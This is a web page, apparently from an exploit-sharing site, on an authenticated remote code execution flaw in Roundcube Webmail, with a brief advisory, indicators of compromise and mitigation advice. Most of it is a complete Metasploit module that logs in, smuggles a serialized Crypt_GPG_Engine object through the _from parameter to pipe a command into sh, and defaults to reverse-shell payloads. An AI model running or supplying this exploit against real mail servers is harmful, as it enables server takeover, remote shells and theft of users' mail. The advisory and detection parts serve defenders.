Skip to main content

Roundcube Webmail RCE Vulnerability Exploited via PHP Object Deserialization

Categories: PHP

✅ Overview

A critical remote code execution vulnerability has been discovered in Roundcube Webmail versions up to 1.6.10 and 1.5.10, allowing authenticated users to execute arbitrary system commands via PHP Object Deserialization.

Exploit Type: Authenticated RCE
Attack Vector: Malicious _from parameter passed to upload.php
CVSS Score: High (TBD)
Affected Versions: Roundcube 1.6.x < 1.6.11 and 1.5.x < 1.5.10


⚡ Vulnerability Details

The exploit leverages insecure handling of serialized PHP objects inside the _from URL parameter within the endpoint:

program/actions/settings/upload.php

Because Roundcube fails to validate user-controlled _from values, an attacker with valid credentials can craft a malicious payload that leads to arbitrary command execution on the server.

This exploit abuses the Crypt_GPG_Engine class for executing shell commands via object properties during deserialization.


🔎 Technical Insights

The attack sequence is as follows:

  1. Login: Attacker authenticates with valid Roundcube credentials.
  2. Payload Preparation: A PHP object is crafted using the Crypt_GPG_Engine class.
  3. Serialization: The payload is serialized and passed in the _from parameter.
  4. Upload Trigger: A fake image is uploaded via the vulnerable upload.php endpoint.
  5. Execution: During processing, PHP unserializes the object and executes arbitrary commands.

📊 Impact

  • Full remote code execution as the web server user (usually www-data).
  • Possible file system access, web shell drop, or lateral movement.
  • Applicable to shared hosting environments where Roundcube is hosted.

✉ Indicators of Compromise (IOC)

  • Suspicious image uploads under Roundcube’s /temp/ or /uploads/ directories.
  • Unexpected shell processes (/bin/sh, bash) running under Apache or Nginx.
  • Logs with unusual _from parameters in GET/POST requests.

🚧 Mitigation

  • Upgrade Immediately to Roundcube 1.6.11 or 1.5.10.
  • Use application-level WAFs to block serialized payloads.
  • Harden PHP environments: disable unserialize() where unnecessary.
  • Monitor logs for unusual _from requests or uploads.

⚖️ References

Proof of Concept (PoC)

poc.php
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
        'Description' => %q{
          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.
        },
        'Author' => [
          'Maksim Rogov', # msf module
          'Kirill Firsov', # disclosure and original exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49113'],
          ['URL', 'https://fearsoff.org/research/roundcube']
        ],
        'DisclosureDate' => '2025-06-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :nix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
      )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
      ]
    )
  end

  class PhpPayloadBuilder
    def initialize(command)
      @encoded = Rex::Text.encode_base32(command)
      @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
    end

    def build
      len = @gpgconf.bytesize
      %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
    end
  end

  def fetch_login_page
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
    res
  end

  def check
    res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def build_serialized_payload
    print_status('Preparing payload...')

    stager = case target['Type']
             when :nix_cmd
               payload.encoded
             when :linux_dropper
               generate_cmdstager.join(';')
             else
               fail_with(Failure::BadConfig, 'Unsupported target type')
             end

    serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
    print_good('Payload successfully generated and serialized.')
    serialized
  end

  def exploit
    token = fetch_csrf_token
    login(token)

    payload_serialized = build_serialized_payload
    upload_payload(payload_serialized)
  end

  def fetch_csrf_token
    print_status('Fetching CSRF token...')

    res = fetch_login_page
    html = res.get_html_document

    token_input = html.at('input[name="_token"]')
    unless token_input
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
    end

    token = token_input.attributes.fetch('value', nil)
    if token.blank?
      fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
    end

    print_good("Extracted token: #{token}")
    token
  end

  def login(token)
    print_status('Attempting login...')
    vars_post = {
      '_token' => token,
      '_task' => 'login',
      '_action' => 'login',
      '_url' => '_task=login',
      '_user' => datastore['USERNAME'],
      '_pass' => datastore['PASSWORD']
    }

    vars_post['_host'] = datastore['HOST'] if datastore['HOST']

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_post,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302

    print_good('Login successful.')
  end

  def generate_from
    options = [
      'compose',
      'reply',
      'import',
      'settings',
      'folders',
      'identity'
    ]
    options.sample
  end

  def generate_id
    random_data = SecureRandom.random_bytes(8)
    timestamp = Time.now.to_f.to_s
    Digest::MD5.hexdigest(random_data + timestamp)
  end

  def generate_uploadid
    millis = (Time.now.to_f * 1000).to_i
    "upload#{millis}"
  end

  def upload_payload(payload_filename)
    print_status('Uploading malicious payload...')

    # 1x1 transparent pixel image
    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
    boundary = Rex::Text.rand_text_alphanumeric(8)

    data = ''
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
    data << "Content-Type: image/png\r\n\r\n"
    data << png_data
    data << "\r\n--#{boundary}--\r\n"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data
    })

    print_good('Exploit attempt complete. Check for session.')
  end
end

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...